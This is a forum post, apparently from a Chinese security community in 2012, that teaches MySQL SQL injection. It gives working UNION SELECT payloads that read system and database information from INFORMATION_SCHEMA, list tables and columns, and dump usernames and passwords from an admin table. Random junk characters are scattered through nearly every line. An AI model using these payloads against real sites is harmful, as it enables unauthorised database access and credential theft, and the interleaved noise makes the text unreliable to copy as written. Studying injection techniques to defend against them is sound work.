找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2166|回复: 0
打印 上一主题 下一主题

mysql常规注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:48:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文介绍MYSQL盲注的一些语句和方法! Y3 d, d+ H0 n+ ?! ^" H
- F4 c& f* Q7 O
学习盲注前先了解下 IFORMATION_SCHEMA 库* H; `. ~; a- Q9 m2 v5 M$ J1 z

* W. f( z* B: }1 `  e6 j- bMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有. S" B' J6 O. Y" U$ U% P( ^
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。, X$ Y% {) k/ z$ u6 W! B" P0 [5 m  x
1.得到所有数据库名:
7 a; N9 l: w0 w: i|SCHEMATA ->存储数据库名的表
) C: e  q4 y) U' h# f% x4 T3 p|---字段:SCHEMA_NAME ->数据库名称. p; E( c( b2 `* u. ^

- e) d  r$ o- I* y* X: X. k, g|TABLES ->存储表名5 g1 u1 X2 r0 ^3 |2 t5 ?0 \
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
; c; _* x1 v+ H$ E  w% g|---字段:TABLE_NAME ->存储表的表名
1 g& l+ d; K4 u6 \$ m! [) @& A: H2 K
|COLUMNS ->存储的字段名表
7 o+ y1 V: Y' `0 p  I|---字段:TABLE_SCHEMA ->该字段所属数据库名
& n  o4 W) v" y8 y|---字段:TABLE_NAME ->存储所属表的名称+ Y+ E, L6 I  K% T8 ~" g$ V
5 B! d- o9 Q! d& @/ g
|---字段:COLUMN_NAME ->该字段的名称
; z+ m4 E2 p8 O2 w' u$ d" z- J. g* F: X2 s8 W& [
) j: p  [7 B9 p/ y$ ~6 Y1 s6 D

$ w# o9 [4 m4 J8 l6 @. p4 G###########################################################################
* b+ z9 R* D, z, g& w" z
' E4 x6 r0 ?5 O0x001 获取系统信息:
5 F7 [/ B* l3 ^; e7 c5 s
+ D  b: B' R3 `# `union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*8 }0 |6 e5 q. X
) J$ |' |+ Y' V; @
/*
+ M( g2 F* j9 d) Y/ v- o$ T8 e1 A* ]- R
@@global.version_compile_os 获取系统版本
8 ^5 v& I) }; S1 D$ j# N' F
/ x; A+ `. b  n% b9 `' O, R@@datadir 数据库路径5 q6 ~. M: V. S+ H# z& F
database() 当前数据库名称
% F' R: i- c' b" J0 z- B0x3c62723e 换行HEX值. v' l6 F# u9 D' z* d5 q. I9 r9 c

$ W2 w. }' q- e2 V, `*/" O0 ~, C% U7 @! h' c
3 q( m+ ?6 r6 B7 C8 Z

) P) }8 ~' K5 I. F
+ w) t8 U+ R- z  L* @# \6 n3 s######################################################################6 U9 R3 V8 v' E) }9 u' v
6 i; F3 g! s( P7 Y4 x2 P) G
0x002 获取表名) s9 s1 v1 ^% |6 x' M6 v: f

! I" k' e( ^- g7 Q6 [( F0 F; t5 ounion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
; {% Q8 W2 I  l- `* w2 S4 w) u) `0 D3 N( c$ W' r3 C3 D
2 q6 z# g, R3 w
# ^( [" p# j. W; I+ d
/*
2 k7 o- ]- }' a' [. p
3 p: Z- W% s# k) @. d0x67617264656e 为当前数据库名
) U( T: y! |; T
8 c$ A) E+ e; [  A) P8 kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名/ y- t! C$ a" ]: X( G7 z. |2 ^
/ r; b1 j) T4 F0 _8 c! G
*/
; M2 D/ Q9 f, G  o  r9 f# U+ z) g- d. f& Q6 j) a# ]
######################################################################! U  T3 k: {; g1 c: ?

* f3 F9 x2 n; ^# _0 D3 \
1 l: g) r8 H" t5 P3 x
2 y! z1 h: z& J0 Y0x003 获取字段
+ Q/ P5 H6 i3 ]) q3 G# [5 R8 N3 E+ F: `, X
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*. |0 D+ z9 q) V

5 N* L  a0 t) e* G4 g/*- N7 T; p- n, \' g7 c& w

7 R- g" u( d" E6 O$ I' Z3 egroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段; i& s6 @0 x2 G- G
' h. P0 M: {. a; a6 |3 {0 a
0x61646d696e ->选择一个表
' H* s4 k- U5 r' A
; U6 R: N" ^; j9 k; f9 u8 B8 T0x67617264656e ->数据库名
; \# t# n* W: a! E+ ^
  L  U# s2 D  Y( A/ e( [*/
, e. M8 ]7 b+ r; m9 @% \; `5 F$ C8 ]3 K6 b( k
#####################################################################0 u& L% Y* g/ R" z

4 D% Q. S  k: x7 Z. u
  c3 |9 e/ i9 I8 B* Y4 f* R* W1 y" _4 a: q
0x004 获取数据
; m& p; K: K3 w* x0 b7 N/ P: I2 `' f7 `
union select 1,2,3
! W) {5 [; w: j! w( @- }5 V! X8 O,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin1 b' o8 S9 p% b, q5 r5 r
1 Z" B" E% P+ D: u
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin. @5 u9 {; Y. ]

2 m/ t1 K. @% `' { ) j9 \6 z% R" X+ [9 ^4 A

% J% |7 a9 x9 }$ w# }/*; h" J: z0 V  H# v+ m

3 Z7 T1 f, R: F1 G( H0x3c62723e 换行符号HEX编码
: p' V( \) R5 R6 K7 M: f; m
4 c" G* P+ D+ \: Z5 p2 ~$ Y  e. O5 Rgroup_concat 同时获得该字段所有数据" F; Z1 ]$ b- ^
! ~' e# L  p3 D- K$ g
*/
/ `0 N1 h6 w' Z4 T$ ^+ {4 ?! n5 g* @* N5 O" V6 p% o# r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表